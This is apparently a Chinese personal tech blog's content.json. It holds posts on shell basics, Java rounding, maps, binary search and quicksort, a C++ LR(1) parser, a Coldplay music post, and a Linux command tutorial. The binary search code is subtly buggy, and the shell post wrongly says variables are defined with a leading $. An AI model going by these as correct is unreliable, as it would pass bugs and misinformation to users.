-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 211 KB
/
content.json
1
[{"title":"Shell语言的基本语法和案例","date":"2017-11-17T21:35:07.112Z","path":"2017/11/18/new 20/","text":"shell语言的作用1.配合CRONTAB帮助我们定时执行任务,就像WIN的任务计划,Oracle的JOB;2.通过SQLPLUS连接到数据库中执行存储过程等操作;3.它可以成为工程人员的工具箱,用来解决日常UNIX环境中遇到的相关问题,例如文本过滤筛选、检查系统性能等。4.它其实是一种脚本语言。 1.变量的定义shell编程中分为两种变量,第一种是我们自己定义的变量(自定义变量),第二种是Linux已定义的环境变量(环境变量, 例如:$PATH, $HOME 等…, 这类变量我们可以直接使用)。其实很简单,只需要通过在你想要定义的变量名的前面加一个$符号就行了,如$name意思就是定义一个名为name的变量 shell中的for循环#定义一个变量oldIFS保存未修改前的IFS的值oldIFS=$IFS修带IFS的值,以逗号为分隔符 expr输出方式: 使用[]输出方式: 在shell中,做浮点运算一般是用bash的计数器(bc)。在shell脚本中,一般使用的方法是:表示 10/3, 保留2位小数,将结果赋值给了num, 输出3.33在shell中,做浮点运算一般是用bash的计数器(bc)。在shell脚本中,一般使用的方法是:variable=$(echo”options;expression”|bc)options是bc中的一些选项,比如:可以用scale去设置保留的小时位数expression就是具体的表达式|是linux系统中的管道命令格式 if then else test的第一种上使用方式 test的第二种上使用方式 case语句 bash shell可根据参数位置获取参数通过$1到$9获取第一个到第九个命令行参数$0为shell名,如果超过9个则要用${}来获取了 在bash shell中还可以通过 $* 和 $@ 来获取所有参数$* 会将命令行上提供的所有参数当作一个单词保存, 我们得到的值也就相当于是个字符串整体。$@ 会将命令行上提供的所有参数当作同一字符串中的多个独立的单词testinput.sh 用于交互时:可用read来在终端输入 shell支持用户输入多个参数+超时设置","tags":[]},{"title":"Java最简单的算法","date":"2017-11-05T02:49:56.768Z","path":"2017/11/05/new 19/","text":"java实现快速map、hashmap的快速查找算法及map学习! The JAVA study of today!Java实现小数的四舍五入1234567891011121314151617package study;import java.lang.String;public class sswr { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub double d=3.1415926; String s1=String .format(\"%.2f\",d); String s2=String.format(\"%.3f\", d); System.out.println(s1); System.out.println(s2); }} Java实现Map与hushmap的排序实现复杂度最低123456789101112131415161718192021222324252627package study;import java.util.*; import java.util.Map.Entry; public class T4 { public static void main(String[] args) { Map<Integer, Integer> map = new HashMap<Integer, Integer>(); Scanner sc = new Scanner(System.in); int num = sc.nextInt(); for (int i = 0; i < num; i++) { int key = sc.nextInt(); int value = sc.nextInt(); if (map.containsKey(key)) { map.put(key, map.get(key) + value); } else { map.put(key, value); } } Iterator sIterator = map.entrySet().iterator(); while (sIterator.hasNext()) { Map.Entry<Integer, Integer> sEntry = (Entry<Integer, Integer>) sIterator.next(); System.out.println(sEntry.getKey() + \" \" + sEntry.getValue()); } } } Java实现二分查找和递归二分查找1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162package study;import java.util.Arrays;public class binarySearch { public static int binarysearch(int [] array,int des)//使用二分法查找 { int low=0; int high=array.length-1; while(low<high) { int middle=(low+high)/2; if(des==array[middle]) return middle; else if(des<array[middle]) { high=middle-1; } else { low=middle+1; } } return -1; } public static int search(int [] array,int low,int high,int des) { if(low<high) { int middle=(high+low)/2; if(des==array[middle]) { return array[middle]; } else if(des<array[middle]) { return search(array,low,middle-1,des); } else { return search(array,middle+1,high,des); } } return -1; } /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub int srcArray[] = { 1, 25, 24, 12, 69, 2, 2, 4 }; Arrays.sort(srcArray); for(int i=0;i<srcArray.length;i++) { System.out.print(srcArray[i]+\" \"); } System.out.println(); System.out.println(search(srcArray, 0, srcArray.length, 12)); System.out.println(binarysearch(srcArray, 0)); }} java实现快速排序123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081package study;public class sort { public void swap(int[] array,int index1,int index2 ) { int temp; temp=array[index1]; array[index1]=array[index2]; array[index2]=temp; } private int PivotIndex(int[] v, int first, int last) { if (last == first) { return last; } if (last - first == 1) { return first; } int mid = (first + last) / 2; int midVal = v[mid]; swap(v, first, mid); int scanA = first + 1; int scanB = last - 1; for (; ; ) { while (scanA <= scanB && v[scanA] < midVal) { scanA++; } while (scanB > first && midVal <= v[scanB]) { scanB--; } if (scanA >= scanB) { break; } swap(v, scanA, scanB); scanA++; scanB--; } swap(v, first, scanB); return scanB; } public void FastSort(int[] v, int first, int last) //快速排序 { if (last - first <= 1) { return; } if (last - first == 2) { //Sub-table contains two elements if (v[first] > v[last - 1]) { swap(v, first, last - 1); } return; } else { int pivotIndex = PivotIndex(v, first, last); FastSort(v, first, pivotIndex); FastSort(v, pivotIndex + 1, last); } } /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub }} map学习123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869package study;/*map集合的两种取出方式:1,Set<k> keySet:将map中所有的键存入到Set集合。因为set具备迭代器。 所有可以迭代方式取出所有的键,在根据get方法。获取每一个键对应的值。 Map集合的取出原理:将map集合转成set集合。在通过迭代器取出。2,Set<Map.Entry<k,v>> entrySet:将map集合中的映射关系存入到了set集合中, 而这个关系的数据类型就是:Map.Entry Entry其实就是Map中的一个static内部接口。 为什么要定义在内部呢? 因为只有有了Map集合,有了键值对,才会有键值的映射关系。 关系属于Map集合中的一个内部事物。 而且该事物在直接访问Map集合中的元素。*/import java.util.*;public class MapDemo2{ public static void main(String[] args) { Map<String,String> map = new HashMap<String,String>(); map.put(\"02\",\"zhangsan2\"); map.put(\"03\",\"zhangsan3\"); map.put(\"01\",\"zhangsan1\"); map.put(\"04\",\"zhangsan4\"); //将Map集合中的映射关系取出。存入到Set集合中。 Set<Map.Entry<String,String>> entrySet = map.entrySet(); Iterator<Map.Entry<String,String>> it = entrySet.iterator(); while(it.hasNext()) { Map.Entry<String,String> me = it.next(); String key = me.getKey(); String value = me.getValue(); System.out.println(key+\":\"+value); } /* //先获取map集合的所有键的Set集合,keySet(); Set<String> keySet = map.keySet(); //有了Set集合。就可以获取其迭代器。 Iterator<String> it = keySet.iterator(); while(it.hasNext()) { String key = it.next(); //有了键可以通过map集合的get方法获取其对应的值。 String value = map.get(key); System.out.println(\"key:\"+key+\",value:\"+value); } */ }}/*Map.Entry 其实Entry也是一个接口,它是Map接口中的一个内部接口。interface Map{ public static interface Entry { public abstract Object getKey(); public abstract Object getValue(); }}class HashMap implements Map{ class Hahs implements Map.Entry { public Object getKey(){} public Object getValue(){} } }*/","tags":[]},{"title":"LR(1)语法分析器的实现","date":"2017-10-24T10:35:49.536Z","path":"2017/10/24/new 18/","text":"1965年,D.Knuth首先提出了LR(K)文法及LR(K)分析技术。所谓LR(K)分析,是指从左至右扫描和自底向上的语法分析,且在分析的每一步,只须根据分析栈当前已移进和归约出的全部文法符号,并至多再向前查看K个输入符号,就能确定相对于某一产生式左部符号的句柄是否已在分析栈的顶部形成,从而也就可以确定当前所应采取的分析动作 (是移进还是按某一产生式进行归约等)。LR分析是当前最一般的分析方法。这是因为它对文法的限制最少,现今能用上下文无关文法描述的程序设计语言一般均可用LR方法进行有效的分析,而且在分析的效率上也不比诸如不带回溯的自顶向下分析、一般的“移进归约”以及算符优先等分析方法逊色。此外,LR分析器在工作过程中,还能准确及时地发现输入符号串的语法错误。凡此种种,就使LR分析方法在国际上受到了广泛的重视。对于LR(K)文法的理论研究业已证明:① 每一LR(K)文法都是无二义性文法;② 一个由LR(K)文法所产生的语言也可由某一LR(1)文法产生。同时,由于通常的程序设计语言一般均能由LR(1)文法来产生。因此,对程序设计语言的编译来说,我们可仅考虑k≤1,即LR(0)和LR(1)的情况。下面,我们首先介绍LR分析器的逻辑结构及工作原理,接着再依次介绍LR(0),SLR(1),LR(1)及LALR(1)等四种LR分析器的构造方法。其中,LR(0)分析器的分析能力最低,但它是构造其余三种LR分析器的基础。SLR是“简单LR”分析的缩写,它是为了解决构造LR(0)分析器所出现的问题而形成的一种方法,其分析能力自然要比LR(0)分析器稍强一些。LR(1)分析器的分析能力是四种LR分析器中的最强者,但对规模较大的文法来说,在具体构造分析器时,由于所需的工作量及要求的存储空间都很庞大,将会遇到很大的困难。为此,采用所谓向前LR分析器即LALR(1)分析器将是一种恰当的选择。LALR(1)分析器的能力介于SLR(1)和LR(1)之间,但其分析表的规模比LR(1)分析表要小得多。至于工作量的问题,则可通过开发和使用LR分析器的自动生成工具来解决。目前十分流行的语法分析器自动生成工具YACC和OCCS正是为自动生成LALR(1)分析器而研制的。 编译原理代码如下123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426#include<iostream> #include<string> #include<map> #include<vector> #include<stack> #include<set> #include<cstring> #include<queue> using namespace std; map<char,int>getnum; char getchar[100]; //获得对应字符 vector<string>proce; //产生式 int table[30][30]; //预测分析表 -1 int tb_s_r[30][30]; //是移进项还是规约项,-1,-2. int num=0;int numvt=0; //numvt是终结符集合,0是‘#’,numvt表空字 void readin() //读入vt,vn,编号1-num,读入所有产生式 { memset(table,-1,sizeof(table)); getnum['#']=0; getchar[0]='#'; cout<<\"请输入终结符集:\"<<endl; char x; do { cin>>x; getnum[x]=++num; getchar[num]=x; }while(cin.peek()!='\\n'); numvt=++num; getnum['@']=numvt; //kong zi getchar[num]=('@'); cout<<\"请输入非终结符集:\"<<endl; do { cin>>x; getnum[x]=++num; getchar[num]=x; }while(cin.peek()!='\\n'); cout<<\"输入所有产生式(空字用‘@’表示),以‘end’结束:\"<<endl; string pro; while(cin>>pro&&pro!=\"end\") { string ss; ss+=pro[0]; for(int i=3;i<pro.size();i++) { if(pro[i]=='|') { proce.push_back(ss); ss.clear();ss+=pro[0]; } else { ss+=pro[i]; } } proce.push_back(ss); } } struct xiangmu //一个项目 { int nump; //产生式编号 int id; //.的位置 string fst; //集合 }; string getp[100]; //获得某终结符在左边的产生式集合 void getpp() { for(int i=0;i<proce.size();i++) { int temp=getnum[proce[i][0]]; getp[temp]+=char('0'+i); } } string first[100]; //每个符号的first集 bool gotfirst[100]; //是否已经完成FIRST集合 void dfsgetfirst(int nv,int nump) //当前的符号,和对应产生式编号 { int temp=getnum[proce[nump][1]]; //产生式推出来的首符 gotfirst[nump]=1; //标记 if(temp<=numvt)first[nv]+=char('0'+temp); //是终结符 else { for(int i=0;i<getp[temp].size();i++) //所有temp可以推出来的符号对应的产生式 { if(proce[nump][0]==proce[nump][1])continue; //左递归的产生式不用不影响求fisrt集 dfsgetfirst(temp,getp[temp][i]-'0'); } first[nv]+=first[temp]; //回溯时候沿途保存 } } void get_first() { for(int i=1;i<=numvt;i++) // 终结符first集合是它自己. { first[i]=char('0'+i); } for(int i=0;i<proce.size();i++) { if(proce[i][0]==proce[i][1])continue; //左递归的产生式不用不影响求fisrt集 if(gotfirst[i])continue; //已经生成。 int temp=getnum[proce[i][0]]; dfsgetfirst(temp,i); } } vector<vector<xiangmu> >v; //项目集族 int e[100][3]; int head[100];int nume=0; //链式前向星项目集族图 void addegde(int from,int to,int w) //添加边 { e[nume][0]=to;e[nume][1]=head[from];head[from]=nume; e[nume++][2]=w; } void clear() //初始化函数 { for(int i=0;i<100;i++) head[i]=-1; for(int i=0;i<30;i++) for(int j=0;j<30;j++) tb_s_r[i][j]=table[i][j]=-1; nume=0; } inline bool xmeq(xiangmu a,xiangmu b) { if(a.fst==b.fst&&a.id==b.id&&a.nump==b.nump)return 1; return 0; } bool isin(xiangmu a,vector<xiangmu> b) //xm a is in xmji b { for(int i=0;i<b.size();i++) { if(xmeq(a,b[i]))return 1; } return 0; } vector<xiangmu> hebing(vector<xiangmu>a ,vector<xiangmu>b) //合并项目集 a,b 复给 a { for(int i=0;i<b.size();i++) { if(isin(b[i],a))continue; else a.push_back(b[i]); } return a; } bool xmjieq(vector<xiangmu> a,vector<xiangmu> b) //两个项目集是否相等 { if(a.size()!=b.size())return 0; for(int i=0;i<a.size();i++) { if(!isin(a[i],b))return 0; } return 1; } int xmji_isin_xmjizu(vector<xiangmu>a,vector<vector<xiangmu> >b) //查找项目集,若有,则返回编号,一举俩得 { for(int i=0;i<b.size();i++) { if(xmjieq(a,b[i]))return i; } return -1; } vector<xiangmu> get_close(xiangmu t) //对项目 T作闭包 { vector<xiangmu> temp; temp.push_back(t); queue<xiangmu> q; //bfs完成闭包 q.push(t); while(!q.empty()) { xiangmu cur=q.front(); q.pop(); if(cur.id==proce[cur.nump].size()) //归约项舍去 continue; int tt=getnum[proce[cur.nump][cur.id]]; //tt is thm num of '.'zhihoudefuhao if(tt<=numvt) continue ; //若是终结符,则不必找了 for(int i=0;i<getp[tt].size();i++) //对应产生式的编号 { xiangmu c; c.id=1; // c.nump=getp[tt][i]-'0'; // if(proce[cur.nump].size()-cur.id==1) // the last : A->BC.D,a/b c.fst+=cur.fst; else //not the last :A->B.CFb,a/b { int tttnum=getnum[proce[cur.nump][cur.id+1]]; c.fst+=first[tttnum]; } if(!isin(c,temp)) //排重,新的项目就加入。 { q.push(c); temp.push_back(c); } } } return temp; } void get_xiangmujizu() //获得项目集族 { vector<xiangmu>temp; xiangmu t; t.nump=0;t.id=1;t.fst+='0'; //初始的项目集:0 temp=get_close(t); queue<vector<xiangmu> >q; //bfs法获得 q.push(temp); v.push_back(temp); //第一个入 while(!q.empty()) { vector<xiangmu> cur=q.front(); q.pop(); for(int i=1;i<=num;i++) //所有符号 { if(i==numvt)continue; //'#' vector<xiangmu> temp; for(int j=0;j<cur.size();j++) //该项目集中的所有项目 { if(cur[j].id==proce[cur[j].nump].size())continue; //是规约项目,无法再读入了 int tt=getnum[proce[cur[j].nump][cur[j].id]]; if(tt==i) //can read in 符号i { xiangmu tempt; tempt.fst=cur[j].fst; tempt.id=cur[j].id+1; tempt.nump=cur[j].nump; temp=hebing(temp,get_close(tempt)); } } if(temp.size()==0)continue; //该符号无法读入。 int numcur=xmji_isin_xmjizu(cur,v); //当前节点标号 int tttnum=xmji_isin_xmjizu(temp,v); //新目标标号 if(tttnum==-1) //新的项目集 { v.push_back(temp); q.push(temp); addegde(numcur,v.size()-1,i) ; //添加边,权为读入的符号 } else //老的项目集 { addegde(numcur,tttnum,i); } } } } void print_xmjizu() //打印项目集族 { for(int i=0;i<v.size();i++) { cout<<\"项目集\"<<i<<\":\"<<endl; for(int j=0;j<v[i].size();j++) { cout<<proce[v[i][j].nump]<<\" \"<<v[i][j].id<<\" \"<<v[i][j].fst<<endl; } cout<<endl; } for(int i=0;i<v.size();i++) { for(int j=head[i];j!=-1;j=e[j][1]) { cout<<\" \"<<getchar[e[j][2]]<<endl; cout<<i<<\"--->\"<<e[j][0]<<endl; } } } bool get_table() //获得分析表table[i][j]=w:状态i-->j,读入符号W。 { for(int i=0;i<v.size();i++) //遍历图 { for(int j=head[i];j!=-1;j=e[j][1]) { if(table[i][e[j][2]]!=-1)return 0; //多重入口,报错. table[i][e[j][2]]=e[j][0]; tb_s_r[i][e[j][2]]=-1; //移近项-1。 } } for(int i=0;i<v.size();i++) //遍历所有项目 { for(int j=0;j<v[i].size();j++) { if(v[i][j].id==proce[v[i][j].nump].size()) //归约项 { for(int k=0;k<v[i][j].fst.size();k++) { if(table[i][(v[i][j].fst)[k]-'0']!=-1)return 0; //多重入口,报错. if( (v[i][j].fst)[k]=='0'&&v[i][j].nump==0) table[i][(v[i][j].fst)[k]-'0']=-3 ; //接受态。 else { table[i][(v[i][j].fst)[k]-'0']=v[i][j].nump; tb_s_r[i][(v[i][j].fst)[k]-'0']=-2; //归约态 } } } } } return 1; } void print_table() { cout<<\"LR(1)分析表:\"<<endl; cout<<\"状态 \"<<\" actoin \"<<endl; for(int j=0;j<=num;j++) { if(j==numvt)continue; cout<<\" \"<<getchar[j]; } cout<<endl; for(int i=0;i<v.size();i++) { cout<<i<<\" \"; for(int j=0;j<=num;j++) { if(j==numvt)continue; if(table[i][j]==-3) cout<<\"acc\"<<\" \"; //接受 else if(table[i][j]==-1)cout<<\" \"; //空 else if(tb_s_r[i][j]==-1)cout<<\"s\"<<table[i][j]<<\" \"; //移近 else if(tb_s_r[i][j]==-2)cout<<\"r\"<<table[i][j]<<\" \"; //归约 } cout<<endl; } } string word; void print_now_state(int count,stack<int>state,stack<int>wd,int i) { cout<<count<<'\\t'<<'\\t'; stack<int>temp; while(!state.empty()) { temp.push(state.top()); state.pop(); } while(!temp.empty()) { cout<<temp.top(); temp.pop(); } cout<<'\\t'<<'\\t'; while(!wd.empty()) { temp.push(wd.top()); wd.pop(); } while(!temp.empty()) { cout<<getchar[temp.top()]; temp.pop(); } cout<<'\\t'<<'\\t'; for(int j=i;j<word.size();j++) cout<<word[j]; cout<<'\\t'<<'\\t'; } bool analyze() { cout<<\" \"<<word<<\"的分析过程:\"<<endl; cout<<\"步骤\\t\\t\"<<\"状态栈\\t\\t\"<<\"符号栈\\t\\t\"<<\"输入串\\t\\t\"<<\"动作说明\"<<endl; stack<int>state; //俩个栈:状态栈和符号栈 stack<int>wd; int count=0; state.push(0); //初始化 wd.push(0); //'#' for(int i=0;;) //i,读入文本的 { int cur=state.top(); if(table[cur][getnum[word[i]]]==-1) // 空白,报错误 return 0; if(table[cur][getnum[word[i]]]==-3) //接受态 { print_now_state(count++,state,wd,i); cout<<\" 恭喜!acc!\"<<endl; return 1; } if(tb_s_r[cur][getnum[word[i]]]==-1) //移进项 { print_now_state(count++,state,wd,i); int newstate=table[cur][getnum[word[i]]]; cout<<\"action[\"<<cur<<\",\"<<getnum[word[i]]<<\"]=\"<<newstate; cout<<\",状态\"<<newstate<<\"入栈\"<<endl; wd.push(getnum[word[i]]); state.push(newstate); i++; } else if(tb_s_r[cur][getnum[word[i]]]==-2) //归约 { print_now_state(count++,state,wd,i); int numpro=table[cur][getnum[word[i]]]; //用该产生式归约 int len=proce[numpro].size()-1; for(int ii=0;ii<len;ii++) //弹栈 { wd.pop(); state.pop(); } wd.push(getnum[proce[numpro][0]]); //新入 int cur=state.top(); cout<<\"用\"<<proce[numpro][0]<<\"->\"; for(int ii=1;ii<=len;ii++) cout<<proce[numpro][ii]; cout<<\"进行归约,\"<<\"goto[\"<<cur<<\",\"<<getnum[word[i]]<<\"]=\"<<table[cur][getnum[proce[numpro][0]]]; cout<<\"入栈\"<<endl; state.push(table[cur][getnum[proce[numpro][0]]]); } } return 1; } int main() { clear(); readin(); getpp(); get_first(); get_xiangmujizu(); if(!get_table()) { cout<<\"此文法在生成分析表时候有多重入口,非LR(1)文法!\"<<endl; return 0; } // print_xmjizu(); print_table(); cout<<\"请输入字:\"<<endl; cin>>word; word+='#'; if(!analyze()) cout<<\"error!\"<<endl; else; return 0; }","tags":[]},{"title":"TSFH turn to Coldplay","date":"2017-10-17T09:37:12.362Z","path":"2017/10/17/new 17/","text":"总有一首Coldplay的歌会惊艳到你,马丁的声线能让你听出时间的沧桑,也能听出面对生活的不卑不亢,这就是为什么我热爱Coldplay的原因,有生之年一定要去听一场Coldplay的演唱会! 分享几首最爱的歌曲NO.1小时候 以为摇滚乐是像五月天那样,唱着我们的情窦初开,唱着我们的快乐烦恼。高中时 以为摇滚乐是greenday 愤怒,去挑战权威,生活的不羁潇洒。长大了,我忽然发现摇滚就是我们自己,开心悲伤,前进倒退,努力的活着,平凡的旋律也能打动你的心。 ### NO.2你小时候相当科学家,想当超人,想拯救世界,但后来你慢慢变了,变成那个只想给爸妈安稳的生活,给她一个美好的未来,给你们的孩子一个温馨的住所。。。你不再是超人,但你撑起了一个家Coldplay的歌曲总是这么触动人心,马丁温暖的声音里似乎蕴藏着满天星辰!有生之年一定要做的事情就是去看一次酷玩的演唱会!!### NO.3有没有一个时刻,你突然想起一个莫名其妙的历史虐梗。“你随手翻翻的一页,用笔划过的内容,可能是他们所经历的一生。”法语的歌名,英文的歌词,意大利的背景故事! NO.4你之于我,都只是平凡到骨子里的普通人,人生海海,妄图在余晖散尽前留一抹最绚烂的光线,企图在夜色迟暮里寻最闪亮的那颗星辰。我们等一个人,我们爱一个人,最终用尽全身力气,愿追寻一道永恒,趁还没老,趁还能拾起满腔热血,如微风吹过丛林遍野,如星光洒遍大地无垠。 ### NO.5你在Coldplay的歌声里。第一次听这歌就被前奏惊艳到了。","tags":[]},{"title":"Linux常用的命令--60个命令总结汇总","date":"2017-10-16T17:01:02.852Z","path":"2017/10/17/new 16/","text":"Linux常用60个命令–实例详解注:Linux系统中的命令实在是太多了,不可能像在MS DOS中把所有的命令及参数都记住。Linux系统提供了一些方法,比如可以通过“help”和“man”来查询名令。 The LINUX summaryThis is a bolg that can make you know more about LINUX commad!1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465Linux常用60个命令--实例详解注:Linux系统中的命令实在是太多了,不可能像在MS DOS中把所有的命令及参数都记住。Linux系统提供了一些方法,比如可以通过“help”和“man”来查询名令。Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。◆安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last;◆文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;◆系统管理相关命令:df、top、free、quota、at、lp、adduser、groupadd、kill、crontab;◆网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、 nslookup;◆系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo ps、who;◆其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。本文以Mandrake Linux 9.1(Kenrel 2.4.21)为例,介绍Linux下的安装和登录命令。注:请用ctrl+f在本页中查找某一部分的内容或某一命令的用法。(1)-安装与登陆命令login1.作用login的作用是登录系统,它的使用权限是所有用户。2.格式login [name][-p ][-h 主机名称]3.主要参数-p:通知login保持现在的环境参数。-h:用来向远程登录的之间传输用户名。如果选择用命令行模式登录Linux的话,那么看到的第一个Linux命令就是login:。一般界面是这样的:Manddrake Linux release9.1(Bamboo) for i586renrel 2.4.21-0.13mdkon i686 / tty1localhost login:rootpassword:上面代码中,第一行是Linux发行版本号,第二行是内核版本号和登录的虚拟控制台,我们在第三行输入登录名,按“Enter”键在Password后输入账户密码,即可登录系统。出于安全考虑,输入账户密码时字符不会在屏幕上回显,光标也不移动。登录后会看到下面这个界面(以超级用户为例):[root@localhost root]#last login:Tue ,Nov 18 10:00:55 on vc/1上面显示的是登录星期、月、日、时间和使用的虚拟控制台。4.应用技巧Linux 是一个真正的多用户操作系统,可以同时接受多个用户登录,还允许一个用户进行多次登录。这是因为Linux和许多版本的Unix一样,提供了虚拟控制台的访问方式,允许用户在同一时间从控制台(系统的控制台是与系统直接相连的监视器和键盘)进行多次登录。每个虚拟控制台可以看作是一个独立的工作站,工作台之间可以切换。虚拟控制台的切换可以通过按下Alt键和一个功能键来实现,通常使用F1-F6 。例如,用户登录后,按一下“Alt+F2”键,用户就可以看到上面出现的“login:”提示符,说明用户看到了第二个虚拟控制台。然后只需按“Alt+ F1”键,就可以回到第一个虚拟控制台。一个新安装的Linux系统允许用户使用“Alt+F1”到“Alt+F6”键来访问前六个虚拟控制台。虚拟控制台最有用的是,当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作,关闭这个程序。shutdown1.作用shutdown命令的作用是关闭计算机,它的使用权限是超级用户。2.格式shutdown [-h][-i][-k][-m][-t]3.重要参数-t:在改变到其它运行级别之前,告诉init程序多久以后关机。-k:并不真正关机,只是送警告信号给每位登录者。-h:关机后关闭电源。-c:cancel current process取消目前正在执行的关机程序。所以这个选项当然没有时间参数,但是可以输入一个用来解释的讯息,而这信息将会送到每位使用者。-F:在重启计算机时强迫fsck。-time:设定关机前的时间。-m: 将系统改为单用户模式。-i:关机时显示系统信息。4.命令说明shutdown 命令可以安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭Linux系统,这是十分危险的。因为Linux与Windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件设备(硬盘)。在系统关机前使用shutdown命令,系统管理员会通知所有登录的用户系统将要关闭,并且login指令会被冻结,即新的用户不能再登录。halt1.作用halt命令的作用是关闭系统,它的使用权限是超级用户。2.格式halt [-n] [-w] [-d] [-f] [-i] [-p]3.主要参数说明-n:防止sync系统调用,它用在用fsck修补根分区之后,以阻止内核用老版本的超级块覆盖修补过的超级块。-w:并不是真正的重启或关机,只是写wtmp(/var/log/wtmp)纪录。-f:没有调用shutdown,而强制关机或重启。-i:关机(或重启)前,关掉所有的网络接口。-f:强迫关机,不呼叫shutdown这个指令。-p: 当关机的时候顺便做关闭电源的动作。-d:关闭系统,但不留下纪录。 4.命令说明halt 就是调用shutdown-h。halt执行时,杀死应用进程,执行sync(将存于buffer中的资料强制写入硬盘中)系统调用,文件系统写操作完成后就会停止内核。若系统的运行级别为0或6,则关闭系统;否则以shutdown指令(加上-h参数)来取代。 reboot1.作用reboot命令的作用是重新启动计算机,它的使用权限是系统管理者。2.格式reboot [-n] [-w] [-d] [-f] [-i]3.主要参数-n: 在重开机前不做将记忆体资料写回硬盘的动作。-w: 并不会真的重开机,只是把记录写到/var/log/wtmp文件里。-d: 不把记录写到/var/log/wtmp文件里(-n这个参数包含了-d)。-i: 在重开机之前先把所有与网络相关的装置停止。install1.作用install命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户。2.格式(1)install [选项]... 来源 目的地(2)install [选项]... 来源... 目录(3)install -d [选项]... 